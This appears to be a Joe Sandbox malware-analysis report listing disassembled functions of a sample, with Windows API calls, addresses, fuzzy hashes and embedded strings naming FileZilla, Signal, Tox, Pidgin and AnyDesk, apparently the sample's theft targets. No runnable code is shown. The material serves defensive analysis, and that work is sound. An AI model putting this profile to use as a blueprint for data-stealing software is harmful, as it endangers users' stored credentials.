Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Task$AllocFree
String ID: $(
API String ID: 3007142545-55695022
Opcode ID: a16237aa7a8ee13bba94a7bacb18d3f117483b94c8521d500b5fd6c296647487
Instruction ID: 7e24ac4c9d61eba3cdab13b1e29302fb200f62294913ba54403eba2bb913f085
Opcode Fuzzy Hash: a16237aa7a8ee13bba94a7bacb18d3f117483b94c8521d500b5fd6c296647487
Instruction Fuzzy Hash: 7BB14D70A003099FCB14DFA9C884AAEB7F5FF88704F24495EE416EB351DB74A985CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004040E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000104,?), ref: 0040410A

Part of subcall function 00401FE9: lstrlenA.KERNEL32(?,?,?,?,00402E72,?), ref: 00402008

CharLowerA.USER32(?,?,00000004,?), ref: 00404141

Part of subcall function 00402C6D: MessageBoxA.USER32(00000000,?,00000000,00000030), ref: 00402D19

Strings

(1D, xrefs: 00404173
.dll, xrefs: 00404147

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CharFileLowerMessageModuleNamelstrlen
String ID: (1D$.dll
API String ID: 1366549216-1666350075
Opcode ID: 5e346a47d57f0f3e063833318336f299f633875872b39283794376379ce5ba2e
Instruction ID: 03a9ba815adcd8ec93f3d37bde2f3f8c5eec0943ace6b228f8ee0bf5dcf52d0d
Opcode Fuzzy Hash: 5e346a47d57f0f3e063833318336f299f633875872b39283794376379ce5ba2e
Instruction Fuzzy Hash: EB31A171904249AEDB01EFA1CD46EEEBB78AF24308F10007EF155B21D2DB785B48CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0042A830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 0042A849
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0042A8EB
LoadBitmapA.USER32(00000000,00007FE3), ref: 0042A903

Strings

, xrefs: 0042A855

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
String ID:
API String ID: 2596413745-3916222277
Opcode ID: 99db48da26093b3bdc554be9bc4593ed5dd0760363e891f11716091b9abc253a
Instruction ID: 45e3c292e12f698ac8c395a513a2079db83a3a86b63308657ad0fa06f736e0d9
Opcode Fuzzy Hash: 99db48da26093b3bdc554be9bc4593ed5dd0760363e891f11716091b9abc253a
Instruction Fuzzy Hash: 9421E172A403188FEB20DF78EC88AAE7BA9EF44304F540526FD15CB292D674D446CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402C6D Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401FE9: lstrlenA.KERNEL32(?,?,?,?,00402E72,?), ref: 00402008

MessageBoxA.USER32(00000000,?,00000000,00000030), ref: 00402D19

Part of subcall function 00401F77: InterlockedDecrement.KERNEL32(?), ref: 00401F8B

Strings

7096E8DFB9895410E31C2B9366BC3029, xrefs: 00402C91
F7046D1D86401363B3A65AD1DF955C613B5580562C80305B0E0429C491B9426B72F255A74DBED86AE98221EB993227B1317D2C85EE62773CE31C2B9366BC3029, xrefs: 00402CB2
20000921, xrefs: 00402CC2

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: DecrementInterlockedMessagelstrlen
String ID: 20000921$7096E8DFB9895410E31C2B9366BC3029$F7046D1D86401363B3A65AD1DF955C613B5580562C80305B0E0429C491B9426B72F255A74DBED86AE98221EB993227B1317D2C85EE62773CE31C2B9366BC3029
API String ID: 4194868412-3646279038
Opcode ID: f1907d0cb0e8ebf3db968acc4532da3dd8ba0aae87a28045fc38d5a49be86aa8
Instruction ID: be63b5ce1a2537a5fc28513cc38743cb582c7cc1474271a0e0f7679b016a2b72
Opcode Fuzzy Hash: f1907d0cb0e8ebf3db968acc4532da3dd8ba0aae87a28045fc38d5a49be86aa8
Instruction Fuzzy Hash: 51219231E4022976DB157BE29D47EEF7A3CBF4574CF40012AB110710E2CABD8511C6A9

Uniqueness

Uniqueness Score: -1.00%

Function 025BF690 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 025BF1B0: HeapFree.KERNEL32(00000000,00000000), ref: 025BF223
Part of subcall function 025BF1B0: HeapFree.KERNEL32(00000000,?), ref: 025BF232

GetModuleHandleA.KERNEL32(ntdll), ref: 025BF705
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 025BF715

Strings

ntdll, xrefs: 025BF700
NtWaitForKeyedEvent, xrefs: 025BF70F

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 2009576768-2815205136
Opcode ID: 614740eaa5f97dce968e9b2229de745b3d622aa6552a4234da5c854249a0c769
Instruction ID: c440bc861fae6d4ccacab1a23054c9eeee730a81c33430e7945c5e284ad565bc
Opcode Fuzzy Hash: 614740eaa5f97dce968e9b2229de745b3d622aa6552a4234da5c854249a0c769
Instruction Fuzzy Hash: 760116B0648302ABE314CF25D94475BBBE9BF94748F108C1DF889D6680E778D548CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041E3E2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0043B298,00000010,00418723,00000000,00000FA0,76170A60,00000000,00419D65,00415EBE,?,0043A478,00000060), ref: 0041E405
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 0041E415

Strings

kernel32.dll, xrefs: 0041E400
InitializeCriticalSectionAndSpinCount, xrefs: 0041E40F

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 1646373207-3733552308
Opcode ID: 5c0e4825627cfcbdc909d80ba72f3c4140fdd93ae8b2e26b687a80bbd9fc07fd
Instruction ID: 02de6b7c6dcb1b4e2d62259ca00e2439f61271760f3b7c106522406a4349fe20
Opcode Fuzzy Hash: 5c0e4825627cfcbdc909d80ba72f3c4140fdd93ae8b2e26b687a80bbd9fc07fd
Instruction Fuzzy Hash: 5FF0903C640206EBDB208F66AC0978E37B0FB09788F60417BA824D52A1D738D581DB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,004170FA), ref: 0041C5DF
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0041C5EF

Strings

KERNEL32, xrefs: 0041C5DA
IsProcessorFeaturePresent, xrefs: 0041C5E9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: c5423254268babc4adbeec866d4f3c3d1c9d9504704e86636f1309afa355d0fc
Instruction ID: b5510b1185d0b5d4b1d73177c6ffc23074c4178150c12f31e18a4bcac3e4c917
Opcode Fuzzy Hash: c5423254268babc4adbeec866d4f3c3d1c9d9504704e86636f1309afa355d0fc
Instruction Fuzzy Hash: 48C012703C0712B6DA281BB11C8AB6B226AAB48F02F9014B66622E1180CF99E149A03D

Uniqueness

Uniqueness Score: -1.00%

Function 02585695 Relevance: 6.3, APIs: 5, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025857F5
HeapFree.KERNEL32(00000000), ref: 025858DF
HeapFree.KERNEL32(00000000,?), ref: 02585969
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860B5
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860D2
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 02586105
CloseHandle.KERNEL32(?), ref: 0258632F

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID:
API String ID: 1910495013-0
Opcode ID: 5310e5342e8035770802910a65f496980a579a6e32d701a0b99c00d6c5a26a3c
Instruction ID: 4890d1abd1fa312bf21e87ae84d306fc4ed22a1fec6a08febf73b96b968a095b
Opcode Fuzzy Hash: 5310e5342e8035770802910a65f496980a579a6e32d701a0b99c00d6c5a26a3c
Instruction Fuzzy Hash: A1410331904301DFEF31AF10D884BA97BA6FF84305F044869ED456F2A1D7B15895CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042CFDA Relevance: 6.2, APIs: 4, Instructions: 206stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 0042D00A
VariantClear.OLEAUT32(0000000C), ref: 0042D122

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ClearVariantlstrlen
String ID:
API String ID: 3817854518-0
Opcode ID: efe1f8e2d027bb539b6952ef50c248406a08c1723eab44b7f766eecb89339f4a
Instruction ID: f3a95c8978b032038e64618ba00bdc82d4aaf35a1c96e633dbad15f413149c7c
Opcode Fuzzy Hash: efe1f8e2d027bb539b6952ef50c248406a08c1723eab44b7f766eecb89339f4a
Instruction Fuzzy Hash: D6711531E0062AEBCB10DFA5F8856AEBBB0FF04310F90855BF81597240D738D951DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6D9 Relevance: 6.2, APIs: 4, Instructions: 167fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(-0000003C,?,00000000,-0000003C,00000000,0043A978,?,?,?,?,?,0043A478,00000060), ref: 0041B74E
GetLastError.KERNEL32(?,?,?,0043A478,00000060), ref: 0041B758
ReadFile.KERNEL32(-00000031,-00000031,00000001,-0000003C,00000000,?,?,?,0043A478,00000060), ref: 0041B818
GetLastError.KERNEL32(?,?,?,0043A478,00000060), ref: 0041B822

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 06390da874683060d690ec748a49b226ab513b879b92b8ba4dd51f48b54eaf61
Instruction ID: 8fb20b34bd6ea9d508b8a2884fa3a7e9fde291ada00aec3394d86df409821bcf
Opcode Fuzzy Hash: 06390da874683060d690ec748a49b226ab513b879b92b8ba4dd51f48b54eaf61
Instruction Fuzzy Hash: DE51C534A04385DFDF219F58C8807EA7BB4FF52704F5444ABE8618B391D3789986CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004134B5 Relevance: 6.2, APIs: 4, Instructions: 165windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004134D3
GetDesktopWindow.USER32 ref: 004134E6
GetWindowRect.USER32(?,?), ref: 004134F9
GetWindowRect.USER32(?,?), ref: 00413506

Part of subcall function 004266AC: MoveWindow.USER32(?,?,?,00000000,?,?,?,00413647,?,?,?,?,00000000), ref: 004266C8

Part of subcall function 004266EA: ShowWindow.USER32(?,?,00413650,00000000,?,?,?,?,00000000), ref: 004266F8

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Rect$DesktopMoveShowVisible
String ID:
API String ID: 3835705305-0
Opcode ID: 88f95af8812bf0e386d89e0ec780856ec7b40cbd2bc964ae238ea1be644fa563
Instruction ID: 292b2c97d4d6e5fe8d50f3415b5a10e4331aa721d6f93604126fae14dd501043
Opcode Fuzzy Hash: 88f95af8812bf0e386d89e0ec780856ec7b40cbd2bc964ae238ea1be644fa563
Instruction Fuzzy Hash: A3511C75A0020AEFCB10DFA8C994DAEB7BAFF88705B544469F506E7250CB35EE41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAB2 Relevance: 6.1, APIs: 4, Instructions: 146fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00419F5B,00000000,?,?,00000001), ref: 0041BB86

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c01c61b8bf44389ea94e83f765c07d573316c3af947ce38cddeea1b46c53af0d
Instruction ID: 3e9d655b9880f60b5f09cf0eebf124177ec1137a07b6d6433de88475768fccef
Opcode Fuzzy Hash: c01c61b8bf44389ea94e83f765c07d573316c3af947ce38cddeea1b46c53af0d
Instruction Fuzzy Hash: AF51A371900209DFCB11CFA9C980AEEBBF4FF45304F5041ABE911AB255DB349A81CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCB Relevance: 6.1, APIs: 4, Instructions: 126windowthreadCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000138,?,?), ref: 0040EC54
GetBkColor.GDI32(?), ref: 0040EC5D
GetTextColor.GDI32(?), ref: 0040EC69
GetThreadLocale.KERNEL32(0000F1C0), ref: 0040ECFB

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Color$LocaleMessageSendTextThread
String ID:
API String ID: 1680304473-0
Opcode ID: 484771c05116640de967fef7a7e48f7ab1b85b90a13ca1846e652b4cbef55775
Instruction ID: 0dba9dad94b3284ecc1784028ad6a283dd36c6a39298d9c5ccd4b4294a9626ec
Opcode Fuzzy Hash: 484771c05116640de967fef7a7e48f7ab1b85b90a13ca1846e652b4cbef55775
Instruction Fuzzy Hash: 1C51C074600716CFCB10DF26C4449AEB3B0FF04314F10896EE892AB3A1E778E855DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0257E26F Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0257E83F: HeapFree.KERNEL32(00000000), ref: 0257E8A4
Part of subcall function 0257E83F: CloseHandle.KERNEL32(?,0257DC7E), ref: 0257E98C

HeapFree.KERNEL32(00000000,?), ref: 0257E2E2
HeapFree.KERNEL32(00000000,?), ref: 0257E5E3
HeapFree.KERNEL32(00000000,?), ref: 0257E645

Strings

filezillasignal::, xrefs: 0257E279

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: filezillasignal::
API String ID: 1910495013-924609054
Opcode ID: 081cf9d4344114abee22fbb40e3976e7690c30e5a984096dd04f5371cc6f405d
Instruction ID: d5c2c167d72a189e882d0cca3a86e9c99cab8a4f6d60a4ad0f8bff490184d42b
Opcode Fuzzy Hash: 081cf9d4344114abee22fbb40e3976e7690c30e5a984096dd04f5371cc6f405d
Instruction Fuzzy Hash: 24513470A08381CFD730DF14E584B9ABBE1BB89318F10895DE98997251EB319949CF8B

Uniqueness

Uniqueness Score: -1.00%

Function 0257E2FC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0257E83F: HeapFree.KERNEL32(00000000), ref: 0257E8A4
Part of subcall function 0257E83F: CloseHandle.KERNEL32(?,0257DC7E), ref: 0257E98C

HeapFree.KERNEL32(00000000,?), ref: 0257E36F
HeapFree.KERNEL32(00000000,?), ref: 0257E5E3
HeapFree.KERNEL32(00000000,?), ref: 0257E645

Strings

signaltox::, xrefs: 0257E306

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: signaltox::
API String ID: 1910495013-1483858761
Opcode ID: 86607321dfc89ee1129501f962dd4398c02e58c34e787d5435b7abe0913e6b76
Instruction ID: 2d16c31392efc8d9918af7630d3ab555db26cdb423ec37a8ec001890fe34c5be
Opcode Fuzzy Hash: 86607321dfc89ee1129501f962dd4398c02e58c34e787d5435b7abe0913e6b76
Instruction Fuzzy Hash: A9513570A08381CFD734DF14E584B9BBBE1BF89314F10895DE98997251EB31A949CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0257E389 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0257E83F: HeapFree.KERNEL32(00000000), ref: 0257E8A4
Part of subcall function 0257E83F: CloseHandle.KERNEL32(?,0257DC7E), ref: 0257E98C

HeapFree.KERNEL32(00000000,?), ref: 0257E3FC
HeapFree.KERNEL32(00000000,?), ref: 0257E5E3
HeapFree.KERNEL32(00000000,?), ref: 0257E645

Strings

toxpidgin::, xrefs: 0257E393

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: toxpidgin::
API String ID: 1910495013-2736818546
Opcode ID: f2ebfac7d6fb111fec3e17beeea44703572aea3f03f6adb6211b2d6db72359e6
Instruction ID: b4a68451eec8a5e269cc977eee6ab77c4f0ab89a2cd931055dde9933c6a03d7a
Opcode Fuzzy Hash: f2ebfac7d6fb111fec3e17beeea44703572aea3f03f6adb6211b2d6db72359e6
Instruction Fuzzy Hash: 7F512570A08381CFD731DF14E584B9ABBE1BF89318F10895DE98997251EB319949CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0257E1E2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0257E83F: HeapFree.KERNEL32(00000000), ref: 0257E8A4
Part of subcall function 0257E83F: CloseHandle.KERNEL32(?,0257DC7E), ref: 0257E98C

HeapFree.KERNEL32(00000000,?), ref: 0257E255
HeapFree.KERNEL32(00000000,?), ref: 0257E5E3
HeapFree.KERNEL32(00000000,?), ref: 0257E645

Strings

anydeskfilezilla::, xrefs: 0257E1EC

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: anydeskfilezilla::
API String ID: 1910495013-2519904345
